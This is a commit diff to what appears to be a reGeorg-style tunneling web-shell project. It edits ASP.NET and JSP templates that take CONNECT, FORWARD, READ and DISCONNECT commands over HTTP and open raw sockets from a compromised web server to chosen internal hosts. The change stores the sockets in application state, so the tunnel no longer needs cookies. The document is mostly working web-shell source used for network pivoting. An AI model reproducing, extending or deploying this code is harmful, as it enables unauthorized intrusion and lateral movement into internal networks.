Skip to content

Commit 40f61c1

Browse files
committed
Remove reliance on cookies
1 parent 97fc8e6 commit 40f61c1

File tree

4 files changed

+20
-22
lines changed

4 files changed

+20
-22
lines changed

templates/tunnel.ashx

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -43,21 +43,21 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
4343
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
4444
sender.Connect(remoteEP);
4545
sender.Blocking = false;
46-
context.Session[mark] = sender;
46+
context.Application[mark] = sender;
4747
context.Response.AddHeader("X-STATUS", "OK");
4848
} catch (Exception ex) {
4949
context.Response.AddHeader("X-ERROR", "Failed connecting to target");
5050
context.Response.AddHeader("X-STATUS", "FAIL");
5151
}
5252
} else if (cmd == "DISCONNECT") {
5353
try {
54-
Socket s = (Socket)context.Session[mark];
54+
Socket s = (Socket)context.Application[mark];
5555
s.Close();
5656
} catch (Exception ex) {
5757
}
58-
context.Session.Remove(mark);
58+
context.Application.Remove(mark);
5959
} else if (cmd == "FORWARD") {
60-
Socket s = (Socket)context.Session[mark];
60+
Socket s = (Socket)context.Application[mark];
6161
try {
6262
int buffLen = context.Request.ContentLength;
6363
byte[] buff = new byte[buffLen];
@@ -73,7 +73,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
7373
}
7474
} else if (cmd == "READ") {
7575
try {
76-
Socket s = (Socket)context.Session[mark];
76+
Socket s = (Socket)context.Application[mark];
7777
int c = 0;
7878
byte[] readBuff = new byte[513];
7979
try {
@@ -93,7 +93,6 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
9393
}
9494
}
9595
} else {
96-
context.Session["l"]=true;
9796
context.Response.Write("Georg says, 'All seems fine'");
9897
}
9998
} catch (Exception ex) {

templates/tunnel.aspx

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -42,21 +42,21 @@
4242
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
4343
sender.Connect(remoteEP);
4444
sender.Blocking = false;
45-
Session.Add(mark, sender);
45+
Application.Add(mark, sender);
4646
Response.AddHeader("X-STATUS", "OK");
4747
} catch (Exception ex) {
4848
Response.AddHeader("X-ERROR", "Failed connecting to target");
4949
Response.AddHeader("X-STATUS", "FAIL");
5050
}
5151
} else if (cmd == "DISCONNECT") {
5252
try {
53-
Socket s = (Socket)Session[mark];
53+
Socket s = (Socket)Application[mark];
5454
s.Close();
5555
} catch (Exception ex){
5656
}
57-
Session.Remove(mark);
57+
Application.Remove(mark);
5858
} else if (cmd == "FORWARD") {
59-
Socket s = (Socket)Session[mark];
59+
Socket s = (Socket)Application[mark];
6060
try {
6161
int buffLen = Request.ContentLength;
6262
byte[] buff = new byte[buffLen];
@@ -72,7 +72,7 @@
7272
}
7373
} else if (cmd == "READ") {
7474
try {
75-
Socket s = (Socket)Session[mark];
75+
Socket s = (Socket)Application[mark];
7676
int c = 0;
7777
byte[] readBuff = new byte[513];
7878
try {
@@ -91,7 +91,6 @@
9191
}
9292
}
9393
} else {
94-
Session["l"]=true;
9594
Response.Write("Georg says, 'All seems fine'");
9695
}
9796
} catch (Exception ex) {

templates/tunnel.jsp

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -196,21 +196,21 @@
196196
SocketChannel socketChannel = SocketChannel.open();
197197
socketChannel.connect(new InetSocketAddress(target, port));
198198
socketChannel.configureBlocking(false);
199-
session.setAttribute(mark, socketChannel);
199+
application.setAttribute(mark, socketChannel);
200200
response.setHeader("X-STATUS", "OK");
201201
} catch (Exception e) {
202202
response.setHeader("X-ERROR", "Failed connecting to target");
203203
response.setHeader("X-STATUS", "FAIL");
204204
}
205205
} else if (cmd.compareTo("DISCONNECT") == 0) {
206-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
206+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
207207
try{
208208
socketChannel.socket().close();
209209
} catch (Exception e) {
210210
}
211-
session.removeAttribute(mark);
211+
application.removeAttribute(mark);
212212
} else if (cmd.compareTo("READ") == 0){
213-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
213+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
214214
try{
215215
ByteBuffer buf = ByteBuffer.allocate(513);
216216
int bytesRead = socketChannel.read(buf);
@@ -227,7 +227,7 @@
227227
}
228228
229229
} else if (cmd.compareTo("FORWARD") == 0){
230-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
230+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
231231
try {
232232
233233
int readlen = request.getContentLength();

templates/tunnel.jspx

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -196,21 +196,21 @@
196196
SocketChannel socketChannel = SocketChannel.open();
197197
socketChannel.connect(new InetSocketAddress(target, port));
198198
socketChannel.configureBlocking(false);
199-
session.setAttribute(mark, socketChannel);
199+
application.setAttribute(mark, socketChannel);
200200
response.setHeader("X-STATUS", "OK");
201201
} catch (Exception e) {
202202
response.setHeader("X-ERROR", "Failed connecting to target");
203203
response.setHeader("X-STATUS", "FAIL");
204204
}
205205
} else if (cmd.compareTo("DISCONNECT") == 0) {
206-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
206+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
207207
try{
208208
socketChannel.socket().close();
209209
} catch (Exception e) {
210210
}
211-
session.removeAttribute(mark);
211+
application.removeAttribute(mark);
212212
} else if (cmd.compareTo("READ") == 0){
213-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
213+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
214214
try{
215215
ByteBuffer buf = ByteBuffer.allocate(513);
216216
int bytesRead = socketChannel.read(buf);
@@ -227,7 +227,7 @@
227227
}
228228

229229
} else if (cmd.compareTo("FORWARD") == 0){
230-
SocketChannel socketChannel = (SocketChannel)session.getAttribute(mark);
230+
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);
231231
try {
232232

233233
int readlen = request.getContentLength();

0 commit comments

Comments
 (0)